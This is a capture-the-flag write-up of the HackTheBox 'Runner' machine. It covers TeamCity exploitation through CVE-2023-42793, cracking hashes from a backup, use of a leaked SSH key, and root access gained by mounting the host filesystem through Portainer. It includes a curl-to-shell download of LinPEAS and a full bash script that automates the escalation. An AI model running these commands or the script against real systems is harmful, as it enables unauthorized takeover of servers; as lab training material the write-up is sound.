One click root | Runner from HackTheBox

One click root | Runner from HackTheBox

The journey begins by using a custom word list to find a subdomain running TeamCity 2023.05.03, which is vulnerable to CVE-2023-42793. This vulnerability allows the creation of a privileged user without authentication.

Next, a backup containing a private key is found, providing the first SSH access as a user. Following this, a privileged container can be deployed using portainer running on localhost to mount the root host volume inside the container. This allows the addition of the SSH key to the root user, ultimately providing root shell access so let's get started ...

πŸ’‘
One click root script is created at the end of the writeup

Nmap scan

First, we scan for running services

nmap -sV -sC -v 10.10.11.13
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have OpenSSH on port 22 and nginx running on port 80

Web enumeration

Usually, we have nothing to do with SSH at the beginning so we start by checking the running web application. As nmap shows, we have a redirection to a domain so let's add it to the hosts file first

echo "10.10.11.13 runner.htb" | sudo tee -a /etc/hosts

Checking the website:

I've tried multiple things like searching for login page and directories without any luck.

Subdomain enumeration

At this point, we can try to enumerate subdomains.

Trying multiple lists, but nothing found as well.

I've decide to generate custom list from the website using cewl

cewl http://runner.htb -o --lowercase -w runner.list

Then use it with ffuf:

ffuf -w runner.list -H "Host: FUZZ.runner.htb" -u http://runner.htb -fw 4
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://runner.htb
 :: Wordlist         : FUZZ: /home/mohammad/htb/runner/runner.list
 :: Header           : Host: FUZZ.runner.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 85ms]

Adding it to the hosts file as well

echo "10.10.11.13 teamcity.runner.htb" | sudo tee -a /etc/hosts

CVE-2023-42793

After going to the new found subdomain

It's running Teamcity 2023.05.03.

Quickly searching for CVE's related to this version and found CVE-2023-42793

This vulnerability allows an attacker to create a privileged user without authentication.

Login as admin

Grabbing the exploit and executing it

python3 CVE-2023-42793.py -u http://teamcity.runner.htb
=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

Token: eyJ0eXAiOiAiVENWMiJ9.NTNYRXBBR2Y4VklPUjdtRklfMUFTVzlwU0sw.NDFlNTI3NDAtY2NlNS00MjhjLWE1NjctODUxYjljZTFiMTA3
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_admincOUU
Password: Main_password!!**

Lazy to search manually? maybe have a look at poc-seeker 😏

GitHub - 0xyassine/poc-seeker: automated tool designed to streamline the search and identification of Proofs of Concept (POCs)
automated tool designed to streamline the search and identification of Proofs of Concept (POCs) - 0xyassine/poc-seeker

Now we can login with the generated credentials!

Own user

Starting by navigating the admin interface to have a look at the available options.

By checking the users tab:

We have two users: matthew and john.

Also the backup seems interesting

Started a backup and downloaded the generated zip file TeamCity_Backup_20240723_060646.zip

First shell

Unzipped the compressed file using unzip:

unzip TeamCity_Backup_20240723_060646.zip -d teamcity-backup

Now we can start searching for useful files or credentials.

We have teamcity-backup/database_dump and I found the users table with hashes so tried to cracked them

chmod u+r teamcity-backup/database_dump/users && cat teamcity-backup/database_dump/users
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, [email protected], 1721728590539, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, [email protected], 1709150421438, BCRYPT
11, city_admin7wpk, $2a$07$4JVaAFwPWUWZvoPF9saUL.STvp2bwUCMcQfS3aX/7Ze5HCDGRIZm., , [email protected], 1721728607183, BCRYPT

Those are bcrypt hashes so we can try to crack them using hashcat.

Get all hashes using:

cat teamcity-backup/database_dump/users | grep -E '^[0-9]'| grep runner |awk -F, '{print $3}' | sed -e 's/^ //g' > hashes

and start cracking them:

hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt

Only matthew hash is cracked

$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123

Tried to login with SSH without any luck so I've decided to search for private keys:

find teamcity-backup/ -name id_rsa

This immediately returned:

teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa

Assigning the correct permission for the private key:

chmod u+r teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAlk2rRhm7T2dg2z3+Y6ioSOVszvNlA4wRS4ty8qrGMSCpnZyEISPl
htHGpTu0oGI11FTun7HzQj7Ore7YMC+SsMIlS78MGU2ogb0Tp2bOY5RN1/X9MiK/SE4liT
njhPU1FqBIexmXKlgS/jv57WUtc5CsgTUGYkpaX6cT2geiNqHLnB5QD+ZKJWBflF6P9rTt
zkEdcWYKtDp0Phcu1FUVeQJOpb13w/L0GGiya2RkZgrIwXR6l3YCX+mBRFfhRFHLmd/lgy
/R2GQpBWUDB9rUS+mtHpm4c3786g11IPZo+74I7BhOn1Iz2E5KO0tW2jefylY2MrYgOjjq
.....
TxCwfxouMs0obpgxlTjJdKNfprIX7ViVrzRgvJAOM/9WixaWgk7ScoBssZdkKyr2GgjVeE
7jZoobYGmV2bbIDkLtYCvThrbhK6RxUhOiidaN7i1/f1LHIQiA4+lBbdv26XiWOw+prjp2
EKJATR8rOQgt3xHr+exgkGwLc72Q61AAAAwQDO2j6MT3aEEbtgIPDnj24W0xm/r+c3LBW0
axTWDMGzuA9dg6YZoUrzLWcSU8cBd+iMvulqkyaGud83H3C17DWLKAztz7pGhT8mrWy5Ox
KzxjsB7irPtZxWmBUcFHbCrOekiR56G2MUCqQkYfn6sJ2v0/Rp6PZHNScdXTMDEl10qtAW
QHkfhxGO8gimrAvjruuarpItDzr4QcADDQ5HTU8PSe/J2KL3PY7i4zWw9+/CyPd0t9yB5M
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----

Trying this key against the previous found users and it worked with John!

ssh [email protected] -i teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
....
Last login: Tue Jul 23 08:48:22 2024 from 10.10.14.x
john@runner:~$ wc -c user.txt 
33 user.txt
john@runner:~$ 

Privilege escalation

Enumeration

I've hosted LinPEAS using python http server and fetched it using curl:

curl http://10.10.14.x:8000/linpeas.sh | sh
...
╔══════════╣ Active Ports
β•š https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -     
...
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:60ff:fe69:7150  prefixlen 64  scopeid 0x20<link>
        ether 02:42:60:69:71:50  txqueuelen 0  (Ethernet)
...
drwxr-xr-x 2 root root 4096 Apr  4 10:24 /etc/nginx/sites-enabled
drwxr-xr-x 2 root root 4096 Apr  4 10:24 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 36 Feb 28 20:31 /etc/nginx/sites-enabled/portainer -> /etc/nginx/sites-available/portainer
server {
    listen 80;
    server_name portainer-administration.runner.htb;
    location / {
        proxy_pass https://localhost:9443;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

We clearly have something to do with docker. We have to do SSH port forwarding as portainer-administration.runner.htb is running locally on port 9443

ssh [email protected] -i teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa -L 9443:127.0.0.1:9443

Then we can access it using the browser on https://127.0.0.1:9443

πŸ’‘
Https is required because 9443 is the default secure portainer port

First we can try to login using the default portainer creds admin:password but not working, tried admin:admin as well but same result so looks like we have to find another way.

I just remember that we have matthew:piper123 so I've tried them and it works!

The portainer version is 2.19.4

Own root

We don't have any container running. My attack strategy will be deploying a privileged container and mount the root disk of the host system to the container then add my ssh key to the authorized_keys of the root user to get SSH access

We have two images, I will just use the ubuntu one. Now, we can navigate to the volumes section to create a new volume called test with few required driver options

Driver options:

  • Device: specifies the source device or directory to be used for the volume, in this case it's root of the host system.
  • o (option): indicates that the volume should use the bind mount option. Bind mounts allow a file or directory on the host machine to be mounted into a container.
  • Type: specifies the type of file system to be used. In this context, none is used to indicate that no specific file system type is required. This option is typically used with bind mounts.

Finally, we can create a container and mount this volume. I will name the container test-container and use the image id sha256:ca2b0f26964cf2e80ba3e084d5983dab293fdb87485dc6445f3f7bbfc89d7459

In the Advanced container settings, make sure to select Interactive & TTY

In the Volumes, make sure to select the previously created volume and set the mount point to /mnt/. This will mount the / partition from the host system to /mnt/ in the docker container.

Deploy the container and get a shell by clicking on the Exec console symbol in the Quick Actions

And we have the root flag!

Get root shell

We have the flag but the box is not owned yet πŸ˜‰

The easiest way is to just add an ssh public key to the root user

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXpbJsuuzSvwpm+6ovoFqfrWDv9o3ppw/pTDUUZkhw67xL7....emKi2Ekb1ROxQAa8MG+C9rTOf4rtGFIMoIgYdtL/jt/Zvys+r66aIa6n+L0XfYo6Eyc= mohammad@mohammad' >> /mnt/root/.ssh/authorized_keys

Now we can ssh as root

└─$ ssh [email protected]
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
.....
Last login: Mon Apr 15 09:34:20 2024 from 10.10.14.x
root@runner:~# wc -c root.txt 
33 root.txt

But wait I am not done yet !

Bonus script

Why using the web interface if we can just use curl ?

Here's a one click root script:

#!/bin/bash

# By 0xyassine
TOKEN=$(curl -sk -X POST -d '{"Username":"matthew","Password":"piper123"}' -H "Content-Type: application/json" https://localhost:9443/api/auth | jq -r .jwt)
ALL_IMAGES_DATA=$(curl -s -k -X GET -H "Authorization: Bearer $TOKEN" https://localhost:9443/api/endpoints/1/docker/images/json)
IMAGES_IDS=$(echo $ALL_IMAGES_DATA | jq -r  '.[] .Id')

VOLUME_NAME='test'
VOLUME_DRIVER="local"
DRIVER_OPTIONS=$(cat <<EOF
{
    "Driver": "$VOLUME_DRIVER",
    "DriverOpts": {
        "device": "/",
        "o": "bind",
        "type": "none"
    }
}
EOF
)
VOLUME_CREATION_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$DRIVER_OPTIONS" "https://localhost:9443/api/endpoints/1/docker/volumes/create?name=$VOLUME_NAME")
VOLUME_ID=$(echo "$VOLUME_CREATION_RESPONSE" | jq -r .Name)
if [ -n "$VOLUME_ID" ]; then
  echo "[+] Volume [ $VOLUME_NAME ] created with ID: $VOLUME_ID"
else
  echo "[-] Failed to create the volume. Response: $VOLUME_CREATION_RESPONSE"
  exit 1
fi

VOLUME_MAPPING="/mnt/:/$VOLUME_NAME"
for IMAGE_ID in $IMAGES_IDS;do
  echo "[+] Using image Id: $IMAGE_ID"
  CREATE_CONTAINER_DATA=$(cat <<EOF
  {
      "Image": "$IMAGE_ID",
      "Tty": true,
      "Cmd": ["/bin/sh"],
      "HostConfig": {
          "Binds": ["$VOLUME_NAME:/mnt/"]
      }
  }
EOF
)

  CONTAINER_CREATION_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$CREATE_CONTAINER_DATA" https://localhost:9443/api/endpoints/1/docker/containers/create?name=)
  CONTAINER_ID=$(echo "$CONTAINER_CREATION_RESPONSE" | jq -r .Id)
  if [ -n "$CONTAINER_ID" ]; then
      echo "[+] Container created with ID: $CONTAINER_ID"
  else
      echo "[-] Failed to create the container. Response: $CONTAINER_CREATION_RESPONSE"
      exit 1
  fi
  curl -s -k -X POST -H "Authorization: Bearer $TOKEN" https://localhost:9443/api/endpoints/1/docker/containers/$CONTAINER_ID/start


  EXEC_COMMAND='{
      "AttachStdin": false,
      "AttachStdout": true,
      "AttachStderr": true,
      "Cmd": ["cat", "/mnt/root/root.txt"]
  }'

  EXEC_CREATE_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$EXEC_COMMAND" "https://localhost:9443/api/endpoints/1/docker/containers/$CONTAINER_ID/exec")
  EXEC_ID=$(echo "$EXEC_CREATE_RESPONSE" | jq -r .Id)
  if [ -n "$EXEC_ID" ]; then
    EXEC_START_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" "https://localhost:9443/api/endpoints/1/docker/exec/$EXEC_ID/start?detach=false&tty=true" |  tr -d '\0' | sed -e 's/\!//')
    echo "[+] root flag: $EXEC_START_RESPONSE"
  else
    echo "[-] Failed to create exec instance. Response: $EXEC_CREATE_RESPONSE"
    exit 1
  fi
  echo
done

Save it as root.sh and execute

β”Œβ”€β”€(mohammadγ‰Ώkali)-[~/htb/runner]
└─$ ./root.sh 
[+] Volume [ test ] created with ID: 83b3907ab75e1bebc4025c102b1d18f6fc0bca1e671e1c182981ac15288aa143
[+] Using image Id: sha256:ca2b0f26964cf2e80ba3e084d5983dab293fdb87485dc6445f3f7bbfc89d7459
[+] Container created with ID: 09e47e1bdedf8cc77a850498b410ab5414e970a3fdb261ad0b8724c984f9e8bd
[+] root flag: 027a61edb8d3f778ac01b0c982376575

[+] Using image Id: sha256:e23afbc992ab916ef46d9fdbcb08d1adde86dd145c8f0ecb9bf44ac18783f285
[+] Container created with ID: cf35e5dccf50d4be7f7c5a21228c33375e053c1311a24af60dd3193159701614
[+] root flag: cat: /mnt/root/root.txt: Permission denied

Happy hacking πŸ˜„

buy me a coffe